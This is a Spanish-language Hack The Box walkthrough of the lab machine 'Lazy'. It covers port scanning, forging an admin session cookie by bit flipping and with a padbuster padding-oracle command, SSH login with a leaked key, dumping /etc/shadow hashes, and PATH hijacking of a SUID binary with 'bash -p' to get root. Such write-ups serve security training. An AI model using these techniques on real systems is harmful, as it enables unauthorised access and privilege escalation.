Post

Hack The Box Lazy

Lazy

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.18.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.18
PING 10.10.10.18 (10.10.10.18) 56(84) bytes of data.
64 bytes from 10.10.10.18: icmp_seq=1 ttl=63 time=137 ms

--- 10.10.10.18 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 136.542/136.542/136.542/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nmap -p- --open -T5 -v -n 10.10.10.18 -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-02 12:22 CST
Initiating Ping Scan at 12:22
Scanning 10.10.10.18 [4 ports]
Completed Ping Scan at 12:22, 0.17s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:22
Scanning 10.10.10.18 [65535 ports]
Discovered open port 22/tcp on 10.10.10.18
Discovered open port 80/tcp on 10.10.10.18
Completed SYN Stealth Scan at 12:22, 39.52s elapsed (65535 total ports)
Nmap scan report for 10.10.10.18
Host is up (0.14s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 39.86 seconds
           Raw packets sent: 72768 (3.202MB) | Rcvd: 72485 (2.899MB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬─────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.18
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nmap -sCV -p22,80 10.10.10.18 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-02 12:24 CST
Nmap scan report for 10.10.10.18
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
|   2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
|   256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_  256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: CompanyDev
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds

Vemos abierto el puerto 80, por lo que antes de visualizar su contenido vía web, vamos a ver a lo que nos enfrentamos con whatweb.

1
2
❯ whatweb http://10.10.10.18/
http://10.10.10.18/ [200 OK] Apache[2.4.7], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.10.10.18], PHP[5.5.9-1ubuntu4.21], Title[CompanyDev], X-Powered-By[PHP/5.5.9-1ubuntu4.21]

No vemos nada interesante, así que vamos a visualizar vía web.

""

Vemos que tenemos un panel de login, por lo que podríamos tratar de usar credenciales default, pero vemos que no ingresamos. Antes de probar inyecciones o cualquier otra cosa, vamos a registrarnos como el usuario admin y vemos que nos dice que el usuario existe; así que vamos a registrarnos normal.

""

""

No tenemos nada interesante al ingresar con el usuario que creamos; sin embargo, vemos que tenemos una cookie de sesión (Nota: Esto lo podemos ver con el plugin Edit this cookie).

""

Por lo tanto, ya debemos estar pensando en varios tipo de ataques a realizar; por lo que vamos a comenzar con Bit Flipper attack haciendo uso de la herramienta Burp Suite. Así que vamos a suponer que el valor de la cookie auth representa al usuario con el que estamos logueado; por lo tanto, si registramos un usuario similar a admin, como por ejemplo bdmin, con esto cambiamos sólo el primer caracter, lo que se traduce en la cookie que cambian los primeros caracteres y el resto se mantiene igual.

""

Ya tenemos la cookie del usuario admin: 2W2rvVLdbb4nvX4yfqN%2BBo%2FzB5Q8uufv, por lo que la podemos cambiar con el plugin Edit this cookie y accedemos como el usuario admin.

""

Ya estamos como el usuario admin y vemos una liga que dice My Key que si le echamo un ojo, tenemos una id rsa privada.

""

Antes de ingresar a la máquina, veremos otras dos formas adicionales de ingresar al panel como el usuario administrador. Una consiste en a través del panel de registro, crear un nuevo usuario donde definamos un nuevo usuario admin=. De esta forma, creando el usuario, lo que conseguiremos es crear una instancia de dicho usuario con las mismas propiedades que el usuario admin.

""

Y logramos ingresar otra vez a la sesión del usuario admin. La segunda forma necesitamos registrar un usuario cualquiera y con la herramienta padbuster para llevar a cabo un Padding Oracle Attack utilizando la siguiente sintaxis.

1
padbuster http://192.168.1.x/login.php D8GjDDheDK%2F%2B7vMT7B7ceSyl3BuPZ9km 8 --cookies auth=D8GjDDheDK%2F%2B7vMT7B7ceSyl3BuPZ9km --encoding 0

Ajustando el comando a los datos que tenemos, agregando el usuario que sabemos que existe admin y suponiendo que el cifrado CBC se compone por 8 bloques, nos queda de la siguiente forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
❯ padbuster http://10.10.10.18/login.php yLGw3MQ3Gwx7GVAVP1bwlhgnEF40Lae3 8 --cookies auth=yLGw3MQ3Gwx7GVAVP1bwlhgnEF40Lae3 --encoding 0 --plaintext user=admin

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 1486

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     1564    N/A
2 **    255     200     15      N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]

Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d

[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------

Cuando nos indica que ID queremos, le indicaremos aquel que cuente con “* *”. La herramienta tardará un rato en computarnos la cookie de sessión del usuario admin, Una vez que la tenemos, la modificamos con Edit this cookie e ingresamos al panel del usuario admin.

Ahora si, regresando con la llave id rsa que encontramos, la guardamos en un archivo que llamaremos id_rsa, le asignamos el permiso 600 y si ponemos atención en la dirección URL, encontramos el nombre del usuario a nivel de sistema mysshkeywithnamemitsos - mitsos; por lo tanto vamos a validar ingresando por ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ ssh -i id_rsa mitsos@10.10.10.18
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun Feb  6 04:31:04 EET 2022

  System load: 0.0               Memory usage: 4%   Processes:       192
  Usage of /:  48.3% of 2.76GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Tue Dec  7 17:41:53 2021 from 10.10.14.22
mitsos@LazyClown:~$ whoami
mitsos
mitsos@LazyClown:~$

Hemos ingresado a la máquina como el usuario mitsos y podemos visualizar la flag (user.txt). Ahora vamos a enumrar un poco el sistema para ver de que forma podemos escalar privilegios.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mitsos@LazyClown:~$ id
uid=1000(mitsos) gid=1000(mitsos) groups=1000(mitsos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)
mitsos@LazyClown:~$ sudo -l
[sudo] password for mitsos: 
mitsos@LazyClown:~$ ll
total 64
drwxr-xr-x 5 mitsos mitsos 4096 Dec  7 17:43 ./
drwxr-xr-x 3 root   root   4096 Dec  7 16:27 ../
-rw-r--r-- 1 root   root      1 May  3  2017 .bash.history
-rw------- 1 mitsos mitsos  224 May  3  2017 .bash_history
-rw-r--r-- 1 mitsos mitsos  220 May  2  2017 .bash_logout
-rw-r--r-- 1 mitsos mitsos 3637 May  2  2017 .bashrc
drwx------ 2 mitsos mitsos 4096 Dec  7 16:27 .cache/
-rw------- 1 mitsos mitsos 2524 May  2  2017 .gdb_history
-rw-rw-r-- 1 mitsos mitsos   22 May  2  2017 .gdbinit
-rw------- 1 root   root     46 May  2  2017 .nano_history
-rw-r--r-- 1 mitsos mitsos  675 May  2  2017 .profile
drwxrwxr-x 2 mitsos mitsos 4096 Dec  7 16:27 .ssh/
-rwsrwsr-x 1 root   root   7303 May  3  2017 backup*
drwxrwxr-x 4 mitsos mitsos 4096 Dec  7 16:27 peda/
-r--r--r-- 1 mitsos mitsos   33 Feb  6 04:31 user.txt
mitsos@LazyClown:~$

Tenemos el archivo backup con permisos SUID; por lo tanto, podemos ejecutarlo temporalmente como el usuario propietario, en este caso root. Vamos a ejecutarlo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mitsos@LazyClown:~$ ./backup 
root:$6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0:17288:0:99999:7:::
daemon:*:17016:0:99999:7:::
bin:*:17016:0:99999:7:::
sys:*:17016:0:99999:7:::
sync:*:17016:0:99999:7:::
games:*:17016:0:99999:7:::
man:*:17016:0:99999:7:::
lp:*:17016:0:99999:7:::
mail:*:17016:0:99999:7:::
news:*:17016:0:99999:7:::
uucp:*:17016:0:99999:7:::
proxy:*:17016:0:99999:7:::
www-data:*:17016:0:99999:7:::
backup:*:17016:0:99999:7:::
list:*:17016:0:99999:7:::
irc:*:17016:0:99999:7:::
gnats:*:17016:0:99999:7:::
nobody:*:17016:0:99999:7:::
libuuid:!:17016:0:99999:7:::
syslog:*:17016:0:99999:7:::
messagebus:*:17288:0:99999:7:::
landscape:*:17288:0:99999:7:::
mitsos:$6$LMSqqYD8$pqz8f/.wmOw3XwiLdqDuntwSrWy4P1hMYwc2MfZ70yA67pkjTaJgzbYaSgPlfnyCLLDDTDSoHJB99q2ky7lEB1:17288:0:99999:7:::
mysql:!:17288:0:99999:7:::
sshd:*:17288:0:99999:7:::
mitsos@LazyClown:~$ 

Este formato se nos debe hacer conocido, se tratar del archivo /etc/shadow; por lo que si utilizamos el comando strings y filtramos por shadow; deberíamos ver que se aplica un cat a dicho archivo.

1
2
3
mitsos@LazyClown:~$ strings backup | grep shadow
cat /etc/shadow
mitsos@LazyClown:~$

Hemos encontrado una forma de escalar privilegios ya que el binario cat está declarado de forma relativa, no de forma absoluta como /bin/cat; por lo tanto podríamos hacer un Path Hijacking generando un archivo llamado cat dentro del directorio actual de trabajo y modificaremos la variable de entorno PATH para incluir dicho directorio.

1
2
3
4
5
6
mitsos@LazyClown:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
mitsos@LazyClown:~$ export PATH=/home/mitsos:$PATH
mitsos@LazyClown:~$ echo $PATH
/home/mitsos:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
mitsos@LazyClown:~$

Generamos nuestro archivo cat:

1
2
3
4
5
6
7
8
9
10
11
mitsos@LazyClown:~$ touch cat
mitsos@LazyClown:~$ chmod 777 cat 
mitsos@LazyClown:~$ nano cat

Error reading /home/mitsos/.nano_history: Permission denied

Press Enter to continue starting nano.

mitsos@LazyClown:~$ /bin/cat cat
bash -p
mitsos@LazyClown:~$ 

Ahora ejecutamos el binario backup:

1
2
3
4
mitsos@LazyClown:~$ ./backup 
bash-4.3# whoami
root
bash-4.3#

Ya somos el usuario root y podemos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.